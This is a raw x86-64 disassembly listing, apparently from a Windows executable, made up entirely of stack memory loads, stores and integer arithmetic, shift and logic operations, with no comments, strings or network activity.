mov word [rsp + 0x15e4], ax
mov rax, qword [rsp + 0xc760]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbdb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1878], ax
mov rax, qword [rsp + 0xc8d8]
movzx eax, byte [rax]
mov byte [rsp + 0x130], al
mov rax, qword [rsp + 0xd6e8]
mov rcx, qword [rsp + 0xd808]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd0e8], rax
mov rax, qword [rsp + 0xc438]
mov rax, qword [rax]
mov qword [rsp + 0xd8a8], rax
mov eax, dword [0x1402c7498]
movzx ecx, al
mov eax, dword [rsp + 0x6c48]
sar eax, cl
mov rcx, qword [rsp + 0xce00]
mov dword [rcx], eax
lea rax, [rsp + 0x6ad8]
mov qword [rsp + 0xd8b0], rax
movzx eax, word [rsp + 0x176c]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402c7564], ax
mov rax, qword [rsp + 0xd7d0]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74eb]
shl eax, cl
mov byte [rsp + 0xab], al
movsx eax, word [rsp + 0x1774]
movsx ecx, word [rsp + 0x17dc]
or eax, ecx
mov word [rsp + 0x155c], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x131], al
movzx eax, byte [rsp + 0x125]
movzx ecx, byte [rsp + 0xa5]
and eax, ecx
mov byte [rsp + 0x100], al
lea rax, [rsp + 0x6c7c]
mov qword [rsp + 0xd8b8], rax
mov rax, qword [rsp + 0xd1f0]
mov rcx, qword [rsp + 0xc500]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd68], rax
mov rax, qword [rsp + 0xcf30]
mov rcx, qword [rsp + 0xbcb0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe28], rax
lea rax, [rsp + 0x68d4]
mov qword [rsp + 0xd8c0], rax
lea rax, [rsp + 0xdf]
mov qword [0x1402c9468], rax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [rsp + 0xce88]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
mov rax, qword [rsp + 0xc8a0]
movzx eax, word [rax]
mov word [rsp + 0x1908], ax
movzx eax, word [rsp + 0x18d0]
mov rcx, qword [rsp + 0xd050]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1850], ax
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcb40]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0xc540]
mov eax, dword [rax]
mov dword [rsp + 0x6cf0], eax
mov rax, qword [rsp + 0xc5c0]
mov rcx, qword [rsp + 0xcb10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc360], rax
lea rax, [rsp + 0xc580]
mov qword [rsp + 0xd8c8], rax
mov eax, dword [rsp + 0x6cec]
mov ecx, dword [rsp + 0x6c60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cb0], eax
movzx eax, word [rsp + 0x16c4]
mov rcx, qword [rsp + 0xd568]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c91fc], ax
lea rax, [rsp + 0x1568]
mov qword [rsp + 0xd8d0], rax
movsx eax, byte [0x1402c74e3]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xec], al
movzx eax, byte [rsp + 0x104]
mov rcx, qword [rsp + 0xd4c8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xcb88]
movzx eax, byte [rax]
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0xbd38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6c78]
sar eax, cl
mov rcx, qword [rsp + 0xbf18]
mov dword [rcx], eax
lea rax, [rsp + 0x6b18]
mov qword [rsp + 0xd8d8], rax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xbfd8]
mov qword [rsp + 0xd8e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd8e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc168], rax
mov rax, qword [rsp + 0xbfa8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc50]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc898], rax
mov rax, qword [rsp + 0xd4f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x182c]
and eax, ecx
mov rcx, qword [0x1402c9108]
mov word [rcx], ax
movzx eax, byte [rsp + 0x60]
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0xd7d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc0f8]
mov byte [rcx], al
movzx eax, word [rsp + 0x17e0]
mov word [rsp + 0x190c], ax
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xca20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1690], ax
mov rax, qword [rsp + 0xcaf8]
mov rcx, qword [rsp + 0xd068]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc530], rax
lea rax, [rsp + 0xcb58]
mov qword [rsp + 0xd8e8], rax
mov rax, qword [rsp + 0xd460]
mov ecx, dword [rsp + 0x6c54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69d0], eax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov dword [rsp + 0x6cf4], eax
movsx eax, byte [rsp + 0xf3]
mov rcx, qword [rsp + 0xbdf8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74ef], al
mov rax, qword [0x1402c9198]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [rsp + 0x120], al
movsx eax, word [rsp + 0x16e4]
mov rcx, qword [rsp + 0xd4e8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1750], ax
lea rax, [rsp + 0x1660]
mov qword [rsp + 0xd8f0], rax
mov rax, qword [0x1402c9440]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd508]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1588], ax
lea rax, [rsp + 0x6ce0]
mov qword [rsp + 0xd8f8], rax
mov rax, qword [rsp + 0xcf00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd2e0]
shl rax, cl
mov qword [rsp + 0xc2a8], rax
mov rax, qword [rsp + 0xd270]
mov rax, qword [rax]
mov qword [rsp + 0xd900], rax
mov rax, qword [rsp + 0xc3d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68a0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc738]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc248]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd5]
xor eax, ecx
mov rcx, qword [rsp + 0xbe58]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7b]
mov byte [0x1402c90dc], al
movzx eax, word [rsp + 0x1800]
mov word [rsp + 0x1910], ax
mov rax, qword [rsp + 0xce60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15fc]
sar eax, cl
mov word [rsp + 0x1610], ax
movzx eax, byte [rsp + 0xbd]
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xced8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcf00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbeb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0a8], rax
mov rax, qword [rsp + 0xcf38]
mov eax, dword [rax]
mov dword [rsp + 0x6cf8], eax
mov rax, qword [rsp + 0xd0f0]
mov rcx, qword [rsp + 0xcd08]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xbd38]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1620]
mov word [rsp + 0x1914], ax
mov rax, qword [rsp + 0xcbc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x155c]
sub eax, ecx
mov word [0x1402c7504], ax
movzx eax, byte [rsp + 0x56]
movzx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov byte [rsp + 0xc1], al
movzx eax, word [rsp + 0x1868]
movzx ecx, word [rsp + 0x15e0]
add eax, ecx
mov word [rsp + 0x15d0], ax
movzx eax, word [rsp + 0x18b8]
mov word [rsp + 0x1918], ax
mov rax, qword [rsp + 0xc628]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6cbc], eax
mov rax, qword [rsp + 0xd3f8]
mov eax, dword [rax]
mov dword [rsp + 0x6cfc], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xcbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc888], rax
mov rax, qword [rsp + 0xbfa8]
mov rax, qword [rax]
mov qword [rsp + 0xd908], rax
movsx eax, word [rsp + 0x1778]
mov rcx, qword [rsp + 0xd778]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1598], ax
movsx eax, byte [0x1402c90b2]
movsx ecx, byte [rsp + 0x131]
sub eax, ecx
mov byte [0x1402c749e], al
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11f]
and eax, ecx
mov byte [rsp + 0x129], al
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x135], al
movzx eax, word [0x1402c7564]
mov rcx, qword [rsp + 0xd660]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov word [rcx], ax
lea rax, [rsp + 0xc690]
mov qword [rsp + 0xd910], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd320]
mov qword [rsp + 0xd918], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd918]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc2c8], rax
mov rax, qword [rsp + 0xcad0]
mov ecx, dword [rsp + 0x6c80]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xd1e8]
mov dword [rcx], eax
lea rax, [rsp + 0x6b44]
mov qword [rsp + 0xd920], rax
movsx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0xd1e0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb1]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c74f2], al
movzx eax, byte [rsp + 0x10d]
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0xcb18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1790], ax
mov rax, qword [rsp + 0xd038]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16f0]
sub eax, ecx
mov word [rsp + 0x167c], ax
lea rax, [rsp + 0x95]
mov qword [rsp + 0xd928], rax
mov eax, dword [rsp + 0x6ac0]
mov ecx, dword [rsp + 0x6ba4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c8], eax
lea rax, [rsp + 0xd3c0]
mov qword [rsp + 0xd930], rax
mov rax, qword [rsp + 0xce18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc188]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbaa8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cf0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcbb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc940]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7508], ax
movzx eax, word [rsp + 0x1598]
mov word [rsp + 0x191c], ax
mov rax, qword [0x1402c9290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x111]
sub eax, ecx
mov byte [rsp + 0x77], al
movzx eax, word [rsp + 0x1548]
mov word [rsp + 0x1920], ax
mov rax, qword [rsp + 0xced0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11f]
add eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0xd5b8]
mov eax, dword [rax]
mov dword [rsp + 0x6d00], eax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xd780]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd750], rax
mov rax, qword [rsp + 0xc8b8]
mov rcx, qword [rsp + 0xcca0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xd518]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6c58]
mov dword [rsp + 0x6d04], eax
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9d]
sub eax, ecx
mov byte [reloc.SHELL32.dll_ILSaveToStream], al
movsx eax, word [rsp + 0x1720]
movsx ecx, word [rsp + 0x16b8]
xor eax, ecx
mov word [rsp + 0x181c], ax
lea rax, [0x1402c74c0]
mov qword [rsp + 0xd938], rax
mov rax, qword [rsp + 0xc9a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd540]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc250]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc1]
movzx ecx, byte [0x1402c90db]
shl eax, cl
mov byte [rsp + 0x102], al
mov rax, qword [rsp + 0xcab8]
mov qword [rsp + 0xd940], rax
mov eax, dword [rsp + 0x6ce8]
mov ecx, dword [rsp + 0x6d04]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ab4], eax
mov rax, qword [rsp + 0xcaa8]
mov rax, qword [rax]
mov qword [rsp + 0xd948], rax
mov eax, dword [rsp + 0x6c44]
mov ecx, dword [rsp + 0x6a68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x69b0], eax
lea rax, [rsp + 0xd0]
mov qword [0x1402c9470], rax
mov rax, qword [rsp + 0xd4d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x187c]
add eax, ecx
mov rcx, qword [rsp + 0xd050]
mov word [rcx], ax
mov rax, qword [rsp + 0xc430]
movzx eax, byte [rax]
mov byte [rsp + 0x137], al
mov rax, qword [rsp + 0xd268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf70]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x18a4], ax
movzx eax, word [rsp + 0x17ac]
mov word [rsp + 0x1924], ax
mov rax, qword [rsp + 0xd5c8]
mov ecx, dword [rsp + 0x6aac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6b2c], eax
mov eax, dword [rsp + 0x6b80]
mov ecx, dword [rsp + 0x6a4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc348]
mov rax, qword [rax]
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xb9d8]
mov rcx, qword [rsp + 0xd0c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe48], rax
mov rax, qword [rsp + 0xd630]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov rcx, qword [0x1402c91d0]
mov word [rcx], ax
movzx eax, word [rsp + 0x1650]
mov word [rsp + 0x1928], ax
movzx eax, byte [rsp + 0x51]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov rcx, qword [rsp + 0xc000]
mov byte [rcx], al
lea rax, [rsp + 0x9b]
mov qword [rsp + 0xd958], rax
movsx eax, word [rsp + 0x1874]
movsx ecx, word [rsp + 0x165c]
add eax, ecx
mov word [rsp + 0x18dc], ax
mov eax, dword [rsp + 0x6a60]
movzx ecx, al
mov eax, dword [rsp + 0x69e0]
shl eax, cl
mov rcx, qword [rsp + 0xcd08]
mov dword [rcx], eax
lea rax, [rsp + 0x6a3c]
mov qword [rsp + 0xd960], rax
mov rax, qword [rsp + 0xc958]
mov rcx, qword [rsp + 0xc988]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd0d8], rax
mov rax, qword [rsp + 0xc1a0]
mov qword [rsp + 0xd968], rax
movzx eax, byte [rsp + 0x5d]
mov byte [0x1402c90dd], al
movzx eax, word [rsp + 0x1870]
mov rcx, qword [rsp + 0xc7e0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xc6c8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbaf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1758]
sar eax, cl
mov rcx, qword [rsp + 0xd4e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf8]
mov byte [rsp + 0x138], al
movzx eax, byte [rsp + 0x83]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov rcx, qword [rsp + 0xbf20]
mov byte [rcx], al
lea rax, [rsp + 0xcfe0]
mov qword [rsp + 0xd970], rax
mov eax, dword [rsp + 0x6a74]
mov ecx, dword [rsp + 0x6a58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6990], eax
mov rax, qword [rsp + 0xce98]
mov ecx, dword [rsp + 0x6b64]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc878]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf68]
mov qword [rsp + 0xd978], rax
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a]
add eax, ecx
mov byte [0x1402c74eb], al
mov rax, qword [rsp + 0xd558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc0b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1830], ax
mov rax, qword [rsp + 0xc070]
movzx eax, word [rax]
mov word [rsp + 0x192c], ax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xd2f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb6], al
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0xc650]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc0d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcc98]
mov rcx, qword [rsp + 0xc328]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd290], rax
mov eax, dword [rsp + 0x6cc4]
mov dword [rsp + 0x6d08], eax
mov eax, dword [rsp + 0x6c5c]
mov ecx, dword [0x1402c7498]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc890]
mov dword [rcx], eax
lea rax, [rsp + 0x18e8]
mov qword [0x1402c9478], rax
mov rax, qword [rsp + 0xd2b0]
movzx eax, word [rax]
mov word [rsp + 0x1930], ax
movsx eax, word [rsp + 0x15e8]
movsx ecx, word [0x1402c91d8]
sub eax, ecx
mov rcx, qword [rsp + 0xc5e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd648]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov byte [rsp + 0x13a], al
mov rax, qword [0x1402c7490]
movzx ecx, al
mov rax, qword [rsp + 0xc1d0]
shr rax, cl
mov qword [rsp + 0xc0e0], rax
lea rax, [rsp + 0x6c38]
mov qword [rsp + 0xd980], rax
mov rax, qword [rsp + 0xcad0]
mov rcx, qword [rsp + 0xd538]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xce68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc8e8]
movzx ecx, al
mov rax, qword [rsp + 0xbd88]
shl rax, cl
mov rcx, qword [rsp + 0xbdd0]
mov qword [rcx], rax
lea rax, [rsp + 0xe8]
mov qword [rsp + 0xd988], rax
movsx eax, word [rsp + 0x157c]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c9350]
mov word [rcx], ax
movsx eax, byte [0x1402c74c3]
mov rcx, qword [rsp + 0xc5b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcfa8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1878]
mov word [rsp + 0x1934], ax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov rcx, qword [rsp + 0xd798]
mov byte [rcx], al
mov rax, qword [rsp + 0xd320]
mov rcx, qword [rsp + 0xc110]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov dword [rsp + 0x6d0c], eax
mov rax, qword [rsp + 0xc808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc170]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc078]
mov qword [rcx], rax
lea rax, [rsp + 0x69d8]
mov qword [rsp + 0xd990], rax
mov rax, qword [rsp + 0xc3d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1644]
sub eax, ecx
mov rcx, qword [rsp + 0xcac8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x11a]
movzx ecx, byte [rsp + 0xd5]
and eax, ecx
mov byte [0x1402c74f6], al
movzx eax, byte [0x1402c74ef]
mov byte [rsp + 0x13b], al
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x93]
sub eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xd268]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc2f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16b8], ax
mov rax, qword [rsp + 0xc788]
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xbdb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6994]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c90], eax
mov rax, qword [rsp + 0xceb0]
mov rax, qword [rax]
mov qword [rsp + 0xd9a0], rax
mov eax, dword [rsp + 0x6a20]
mov rcx, qword [rsp + 0xd350]
mov qword [rsp + 0xd9a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9a8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6a40], eax
movzx eax, byte [rsp + 0x75]
mov rcx, qword [rsp + 0xc000]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xc760]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16d4]
shl eax, cl
mov word [0x1402c7518], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0xcb00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcc30]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1720], ax
lea rax, [rsp + 0x1898]
mov qword [rsp + 0xd9b0], rax
mov rax, qword [rsp + 0xd7b8]
mov ecx, dword [rsp + 0x6a88]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6bfc], eax
mov rax, qword [rsp + 0xc6b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc678], rax
lea rax, [rsp + 0x6c40]
mov qword [rsp + 0xd9b8], rax
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xc820]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd1b0], rax
mov rax, qword [rsp + 0xd020]
movzx eax, byte [rax]
mov byte [rsp + 0x13d], al
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
sub eax, ecx
mov rcx, qword [0x1402c9160]
mov byte [rcx], al
movsx eax, word [rsp + 0x16e8]
movsx ecx, word [rsp + 0x18c8]
add eax, ecx
mov rcx, qword [rsp + 0xd268]
mov word [rcx], ax
mov rax, qword [rsp + 0xce78]
movzx eax, word [rax]
mov word [rsp + 0x1938], ax
movzx eax, word [rsp + 0x1660]
mov rcx, qword [0x1402c9430]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbcb8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov rcx, qword [rsp + 0xd7f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x6c1c]
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xd698]
mov rcx, qword [rsp + 0xc4d8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd390], rax
lea rax, [rsp + 0x6a74]
mov qword [rsp + 0xd9c0], rax
mov rax, qword [rsp + 0xd370]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc580], rax
movzx eax, word [0x1402c74bc]
movzx ecx, word [rsp + 0x16a0]
cdq
idiv ecx
mov word [0x1402c7568], ax
mov rax, qword [rsp + 0xd868]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd268]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1840], ax
lea rax, [rsp + 0x9b]
mov qword [rsp + 0xd9c8], rax
movzx eax, word [0x1402c751c]
movzx ecx, word [rsp + 0x1904]
or eax, ecx
mov rcx, qword [rsp + 0xc560]
mov word [rcx], ax
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x13e], al
mov rax, qword [rsp + 0xd190]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc5a8]
mov qword [rsp + 0xd9d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9d0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xccc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd448]
movzx ecx, al
mov rax, qword [rsp + 0xcf58]
shr rax, cl
mov qword [rsp + 0xd2f8], rax
lea rax, [rsp + 0x6bb4]
mov qword [rsp + 0xd9d8], rax
mov rax, qword [rsp + 0xc150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc688]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov rcx, qword [0x1402c9458]
mov byte [rcx], al
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
mov word [rsp + 0x193c], ax
movsx eax, byte [rsp + 0xda]
mov rcx, qword [rsp + 0xc4b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd958]
mov byte [rcx], al
movsx eax, word [rsp + 0x157c]
movsx ecx, word [rsp + 0x163c]
sub eax, ecx
mov word [rsp + 0x1690], ax
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0x13f], al
mov eax, dword [rsp + 0x6b60]
mov ecx, dword [rsp + 0x6bec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ae0], eax
mov eax, dword [rsp + 0x6c70]
mov dword [rsp + 0x6d14], eax
mov rax, qword [rsp + 0xd1d8]
mov rcx, qword [rsp + 0xd888]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xba00]
mov qword [rcx], rax
lea rax, [rsp + 0xcf10]
mov qword [rsp + 0xd9e0], rax
lea rax, [rsp + 0x15e4]
mov qword [0x1402c9480], rax
movzx eax, byte [rsp + 0x112]
movzx ecx, byte [rsp + 0xb7]
add eax, ecx
mov byte [rsp + 0x91], al
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16f4]
sub eax, ecx
mov word [rsp + 0x1678], ax
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0xd9e8], rax
mov rax, qword [rsp + 0xd898]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa2], al
mov eax, dword [rsp + 0x6980]
mov dword [rsp + 0x6d18], eax
mov rax, qword [rsp + 0xcbb0]
mov ecx, dword [rsp + 0x6ce8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd520]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xceb0]
mov qword [rsp + 0xd9f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd9f0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xce58], rax
mov rax, qword [rsp + 0xc1f0]
mov qword [rsp + 0xd9f8], rax
mov rax, qword [rsp + 0xd328]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd60]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1402c9438]
mov word [rcx], ax
mov rax, qword [rsp + 0xd1e0]
movsx eax, byte [rax]
